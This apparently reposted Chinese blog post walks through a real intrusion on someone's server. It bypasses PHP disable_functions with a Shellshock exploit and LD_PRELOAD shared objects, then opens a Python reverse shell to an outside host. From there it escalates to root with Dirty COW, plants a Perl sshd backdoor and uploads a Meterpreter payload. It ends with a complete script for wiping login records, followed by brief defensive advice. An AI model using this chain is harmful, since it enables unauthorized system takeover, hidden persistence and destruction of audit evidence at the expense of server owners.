0x01 前言
某日朋友丟了一條 shell 叫我提權,我拿到 shell 看了一下,菜刀蟻劍都無法執行命令,


Getshell 的漏洞分析在:
https://getpass.cn/2019/09/06/An-APP-distribution-system-upload-vulnerability/ 214
然后搞了好久熬了一個晚上才弄好,中間走了很多彎路,,,
2021最新整理網路安全\滲透測驗/安全學習(全套視頻、大廠面經、精品手冊、必備工具包)一>點我<一
0x02 資訊探測
上一個 phpinfo 看下環境
PHP Version 5.6.30 disable_functions: passthru,exec,system,chroot,chgrp,chown,shell_exec,proc_open,proc_get_status,popen,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru sendmail_path:/usr/sbin/sendmail -t -i mysql: mysqlnd 5.0.11-dev - 20120503
寶塔警告!

問了寶塔的開發工程師,寶塔確實是做得挺好的,Windows 的基本沒什么希望了,看下 Linux 的,
0x03 肝
putenv 這個沒禁可以利用一下,
<?php
# Exploit Title: PHP 5.x Shellshock Exploit (bypass disable_functions)
# Google Dork: none
# Date: 10/31/2014
# Exploit Author: Ryan King (Starfall)
# Vendor Homepage: http://php.net
# Software Link: http://php.net/get/php-5.6.2.tar.bz2/from/a/mirror
# Version: 5.* (tested on 5.6.2)
# Tested on: Debian 7 and CentOS 5 and 6
# CVE: CVE-2014-6271
function shellshock($cmd) { // Execute a command via CVE-2014-6271 @mail.c:283
$tmp = tempnam(".","data");
putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1");
// In Safe Mode, the user may only alter environment variableswhose names
// begin with the prefixes supplied by this directive.
// By default, users will only be able to set environment variablesthat
// begin with PHP_ (e.g. PHP_FOO=BAR). Note: if this directive isempty,
// PHP will let the user modify ANY environment variable!
mail("a@127.0.0.1","","","","-bv"); // -bv so we don't actuallysend any mail
$output = @file_get_contents($tmp);
@unlink($tmp);
if($output != "") return $output;
else return "No output, or not vuln.";
}
echo shellshock($_REQUEST["cmd"]);
?>

沒戲,,
繼續肝,,,
0x04 新希望 LD_PRELOAD
上 gayhub 上面搜了一下
按照了里面的一段代碼 bypass_disablefunc.c
#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
__attribute__ ((__constructor__)) void preloadme (void) {
unsetenv("LD_PRELOAD");
const char* cmdline = getenv("EVIL_CMDLINE");
system(cmdline);
}
編譯了一下
然后上傳呼叫檔案 php
<?php
echo "<p> <b>example</b>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so </p>";
$cmd = $_GET["cmd"];
$out_path = $_GET["outpath"];
$evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";
putenv("EVIL_CMDLINE=" . $evil_cmdline);
$so_path = $_GET["sopath"];
putenv("LD_PRELOAD=" . $so_path);
mail("", "", "", "");
echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>";
unlink($out_path);
?>
利用的時候沒回顯,what?

還是利用 unix 的 LD_PRELOAD 和 php 的 putenv
#include<stdlib.h> __attribute__((constructor)) void l3yx(){ unsetenv("LD_PRELOAD"); system(getenv("_evilcmd")); }
利用 php 檔案
<?php putenv("_evilcmd=echo 1>/root/tmp/222222"); putenv("LD_PRELOAD=./evil.so"); mail('a','a','a','a');
執行后去重繪了一下目錄,!!!!我去,成功了!

但是這樣執行代碼總是有眾多不便的,比如沒有回顯,把命令帶引數執行的時候會報錯等

還得繼續,,,
0x05 柳暗花明又一村-centos
一個修復版的 bypass.c, 作者的解釋:
如果你是一個細心的人你會發現這里的 bypass_disablefunc.c和教程中提及的不一樣,多出了使用for 回圈修改 LD_PRELOAD 的首個字符改成 \0,如果你略微了解 C 語言就會知道 \0 是 C 語言字串結束標記,原因注釋里有:unsetenv(“LD_PRELOAD”) 在某些 Linux 發行版不一定生效(如 CentOS),這樣一個小動作能夠讓系統原有的 LD_PRELOAD 環境變數自動失效
然后從環境變數 EVIL_CMDLINE 中接收 bypass_disablefunc.php 傳遞過來的待執行的命令列,
用命令:
gcc -shared -fPIC bypass_disablefunc.c -o bypass_disablefunc_x64.so
將 bypass_disablefunc.c 編譯為共享物件 bypass_disablefunc_x64.so:
要根據目標架構編譯成不同版本,在 x64 的環境中編譯,若不帶編譯選項則默認為 x64,若要編譯成 x86 架構需要加上 -m32 選項,
#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
extern char** environ;
__attribute__ ((__constructor__)) void preload (void) {
// get command line options and arg
const char* cmdline = getenv("EVIL_CMDLINE");
// unset environment variable LD_PRELOAD.
// unsetenv("LD_PRELOAD") no effect on some
// distribution (e.g., centos), I need crafty trick.
int i;
for (i = 0; environ[i]; ++i) {
if (strstr(environ[i], "LD_PRELOAD")) {
environ[i][0] = '\0';
}
}
// executive command
system(cmdline);
}

偶 ~sex!
后來作者確實改進了代碼

劫持 getuid()
基本原理
前提是在 Linux 中已安裝并啟用 sendmail 程式,
php 的 mail() 函式在執行程序中會默認呼叫系統程式 /usr/sbin/sendmail,而 /usr/sbin/sendmail 會呼叫 getuid(),如果我們能通過 LD_PRELOAD 的方式來劫持 getuid(),再用 mail() 函式來觸發 sendmail 程式進而執行被劫持的 getuid(),從而就能執行惡意代碼了,
細化一下:
撰寫一個原型為 uid_t getuid(void); 的 C 函式,內部執行攻擊者指定的代碼,并編譯成共享物件 evil.so;
運行 PHP 函式 putenv(),設定環境變數 LD_PRELOAD 為 evil.so,以便后續啟動新行程時優先加載該共享物件;
運行 PHP 的 mail() 函式,mail() 內部啟動新行程 /usr/sbin/sendmail,由于上一步 LD_PRELOAD 的作用,sendmail 呼叫的系統函式 getuid() 被優先級更好的 evil.so 中的同名 getuid() 所劫持;
達到不呼叫 PHP 的各種命令執行函式(system()、exec() 等等)仍可執行系統命令的目的,
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int geteuid() {
const char* cmdline = getenv("EVIL_CMDLINE");
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
system(cmdline);
}
gcc -shared -fPIC bypass.c -o byapss.so
編譯了一下去利用,發現可以哦!

0x06 臟牛提權
可以執行命令了,執行上反彈 shell,有互動的 shell 舒服多了,這里用 python 的反彈腳本,一般系統有裝 python 腳本,我都會先用 pyhton,因為有一些系統的不一樣,bash 或者 nc 比較麻煩,
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("x.x.x.x",7777))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"]);
監聽一波

反彈成功了

執行 uname -a 看了下版本
Linux cloud 2.6.32-642.el6.x86_64 #1 SMP Tue May 10 17:27:01 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
2.6 的版本上臟牛必中,可以不用在目標機子上面編譯,在自己的 Linux 環境編譯然后上傳到目標機子上面執行

那就靜靜等待臟牛把 root 替換掉,然后臉上目標機子,大概要幾分鐘這樣子,去連 ssh 的時候有些管理員會把 ssh 的埠改了,用命令 netstat -nlp 就可以看到了,
已經成功了,用戶名為 firefart 密碼是剛設定的 123456,

已經成功登陸目標機子

0x07 持續訪問-ssh 后門
登陸目標機子后,記得及時恢復 /etc/passwd
cp /tmp/passwd.bak /etc/passwd
那些 pam 補丁、隱藏檔案、suid、inetd 等都可以用作后門,看你環境,
1、這個 ssh 后門偽裝成一個 perl 腳本,名為 sshd,位于 /usr/sbin/sshd , 將系統原先的 sshd 移到 /usr/bin 下
#!/usr/bin/perl
exec"/bin/sh"if(getpeername(STDIN)=~/^..zf/);
exec{"/usr/bin/sshd"}"/usr/sbin/sshd",@ARGV;
2、將真正的 sshd 移至 /usr/bin/sshd
mv /usr/sbin/sshd /usr/bin/sshd
3、將后門 sshd (perl 腳本移動至 /usr/sbin/sshd),并授予執行權限
chmod +x /usr/sbin/sshd
4、重啟 ssh 服務
/etc/init.d/sshd restart

5、連接后門,記得安裝好 socat
sudo yum install socat
#socat STDIO TCP4:目標ip:ssh埠一般是22,sourceport=31334
socat STDIO TCP4:127.0.0.1:22,sourceport=31334

0x08 metaspliot 橫向滲透
當然做內網滲透必不可少的就是 msf 了,如果是 Windows 的話推薦使用 CobaltStrike 非常 nice 的一個工具,
反正我們現在拿到 root 的 shell 了,先反彈一個 Meterpreter 的會話,還是常規的生成 payload,然后監聽等待上線
1、先生成一個后門
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.79.132 LPORT=4455 -f elf > shell.elf

2、把 shell.elf 上傳到目標機子上面運行

3、在本地執行監聽
use exploit/multi/handler set PAYLOAD linux/x86/meterpreter/reverse_tcp set LHOST 0.0.0.0 set LPORT 4455 exploit

4、執行后門反彈 Meterpreter 的會話
chmod +x ./shell.elf ./shell.elf

5、查看跳板機處于哪幾個網段
run get_local_subnets

看了一下,,,
但是我這個是屬于外網的機子,后來想了一下感覺都不是內網一點意思都沒有,,,
算了吧下次有遇到內網的可以再寫一篇內網滲透的文章出來哈
0x09 擦屁股
走之后記得清理痕跡,以防被溯源或者被管理員發現了,下面附上一個腳本供大家使用:
#!/usr/bin/env python
import os, struct, sys
from pwd import getpwnam
from time import strptime, mktime
from optparse import OptionParser
UTMPFILE = "/var/run/utmp"
WTMPFILE = "/var/log/wtmp"
LASTLOGFILE = "/var/log/lastlog"
LAST_STRUCT = 'I32s256s'
LAST_STRUCT_SIZE = struct.calcsize(LAST_STRUCT)
XTMP_STRUCT = 'hi32s4s32s256shhiii4i20x'
XTMP_STRUCT_SIZE = struct.calcsize(XTMP_STRUCT)
def getXtmp(filename, username, hostname):
xtmp = ''
try:
fp = open(filename, 'rb')
while True:
bytes = fp.read(XTMP_STRUCT_SIZE)
if not bytes:
break
data = struct.unpack(XTMP_STRUCT, bytes)
record = [(lambda s: str(s).split("\0", 1)[0])(i) for i in data]
if (record[4] == username and record[5] == hostname):
continue
xtmp += bytes
except:
showMessage('Cannot open file: %s' % filename)
finally:
fp.close()
return xtmp
def modifyLast(filename, username, hostname, ttyname, strtime):
try:
p = getpwnam(username)
except:
showMessage('No such user.')
timestamp = 0
try:
str2time = strptime(strtime, '%Y:%m:%d:%H:%M:%S')
timestamp = int(mktime(str2time))
except:
showMessage('Time format err.')
data = struct.pack(LAST_STRUCT, timestamp, ttyname, hostname)
try:
fp = open(filename, 'wb')
fp.seek(LAST_STRUCT_SIZE * p.pw_uid)
fp.write(data)
except:
showMessage('Cannot open file: %s' % filename)
finally:
fp.close()
return True
def showMessage(msg):
print msg
exit(-1)
def saveFile(filename, contents):
try:
fp = open(filename, 'w+b')
fp.write(contents)
except IOError as e:
showMessage(e)
finally:
fp.close()
if __name__ == '__main__':
usage = 'usage: logtamper.py -m 2 -u b4dboy -i 192.168.0.188\n \
logtamper.py -m 3 -u b4dboy -i 192.168.0.188 -t tty1 -d 2015:05:28:10:11:12'
parser = OptionParser(usage=usage)
parser.add_option('-m', '--mode', dest='MODE', default='1' , help='1: utmp, 2: wtmp, 3: lastlog [default: 1]')
parser.add_option('-t', '--ttyname', dest='TTYNAME')
parser.add_option('-f', '--filename', dest='FILENAME')
parser.add_option('-u', '--username', dest='USERNAME')
parser.add_option('-i', '--hostname', dest='HOSTNAME')
parser.add_option('-d', '--dateline', dest='DATELINE')
(options, args) = parser.parse_args()
if len(args) < 3:
if options.MODE == '1':
if options.USERNAME == None or options.HOSTNAME == None:
showMessage('+[Warning]: Incorrect parameter.\n')
if options.FILENAME == None:
options.FILENAME = UTMPFILE
# tamper
newData = getXtmp(options.FILENAME, options.USERNAME, options.HOSTNAME)
saveFile(options.FILENAME, newData)
elif options.MODE == '2':
if options.USERNAME == None or options.HOSTNAME == None:
showMessage('+[Warning]: Incorrect parameter.\n')
if options.FILENAME == None:
options.FILENAME = WTMPFILE
# tamper
newData = getXtmp(options.FILENAME, options.USERNAME, options.HOSTNAME)
saveFile(options.FILENAME, newData)
elif options.MODE == '3':
if options.USERNAME == None or options.HOSTNAME == None or options.TTYNAME == None or options.DATELINE == None:
showMessage('+[Warning]: Incorrect parameter.\n')
if options.FILENAME == None:
options.FILENAME = LASTLOGFILE
# tamper
modifyLast(options.FILENAME, options.USERNAME, options.HOSTNAME, options.TTYNAME , options.DATELINE)
else:
parser.print_help()
0x10 防御措施
1、此次滲透的入口點還是目標站點的程式出現的上傳漏洞,應該對程式的上傳點做過濾加白名單,
2、其實寶塔的功能已經對 php 的執行命令的函式做了嚴格的封鎖,但是還是有漏網之魚,在寶塔禁用的函式基礎上的 disable_function 里面加上 putenv 函式的禁用,
3、被用臟牛提權,這個是內核的漏洞,應該及時升級內核版本,執行以下命令,需要重啟,
Centos/RHEL 更新
sudo yum update
Ubuntu/Debian 更新
sudo apt-get update && sudo apt-get dist-upgrade
4、如果被植入后門了
應該及時查看和本機的連接情況,可以用 netstat 查看,
查看用戶是否有改動, cat /etc/passwd ,
查看可疑行程 top
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/301221.html
標籤:其他
上一篇:Kali Linux和Parrot OS,哪個更適合安全
下一篇:科目三必過秘籍
